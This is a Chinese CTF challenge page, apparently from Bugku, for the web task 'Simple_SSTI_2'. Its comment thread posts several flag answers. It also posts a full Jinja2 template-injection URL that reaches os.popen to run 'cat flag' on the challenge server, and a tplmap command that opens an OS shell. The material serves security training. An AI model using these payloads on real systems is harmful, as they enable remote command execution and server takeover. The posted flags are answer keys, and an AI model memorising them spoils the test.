Simple_SSTI_2WEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Tokeii
一血奖励: 3金币
解  决: 16682
提  示:
描  述:
Simple_SSTI_2
评论
大白bugku 4年前

flag{1198203d8d21dedd91c2552c5a2d5217}

回复 0

lcplj123 4年前

flag{1a99409e83ac454a0087d8d4b8d7bded}

回复 0

dialog007 4年前

flag{5797b77f958c0d81a37ff4a0128bbe50}

回复 0

saber2k 4年前

flag{8b37299e6a976863ae79c8c173ce7cd1}

回复 0

18096199839 4年前

http://114.67.175.224:12412/?flag={{().__class__.__base__.__subclasses__[177].__init__.__globals__[%27__builtins__%27][%27eval%27](%27__import__(%22os%22).popen(%22cat%20flag%22).read()%27)}} 直接构造

回复 1

tigernolion 4年前

./tplmap.py -u http://114.67.175.224:14305/?flag=123 --os-shell

回复 0

Adaneo 4年前

有点像命令执行

回复 0

Timeover 4年前

全靠大佬

回复 1

342300 4年前

难

回复 1

zhangcoolcheng 4年前

还是不知道原理

回复 2
ttxs25830 4年前

后端代码中会把flag参数里的字符串用模板引擎渲染出来,这个方法就是让模板引擎以为我们的字符串其实是要执行的代码,大概是这个原理

回复 7

WriteUp

image
valecalida

5 金币

评分(15)

解题动态

magning 攻破了该题 4小时前
风掠 攻破了该题 1天前
xiaoxiang07 攻破了该题 2天前
xuanbai 攻破了该题 2天前
qi1102 攻破了该题 2天前
nwnmc 攻破了该题 3天前
Amy 攻破了该题 3天前
gc 攻破了该题 3天前
zmjjkk..... 攻破了该题 4天前
KN11 攻破了该题 4天前
suhannn 攻破了该题 5天前
1柒1 攻破了该题 5天前
icowx 攻破了该题 5天前
kiwi9999 攻破了该题 5天前
CCC1112 攻破了该题 6天前
一只小成成 攻破了该题 6天前
世界你好 攻破了该题 6天前
17199913044 攻破了该题 7天前
chenlinXdb 攻破了该题 7天前
香克斯呀 攻破了该题 8天前
问题反馈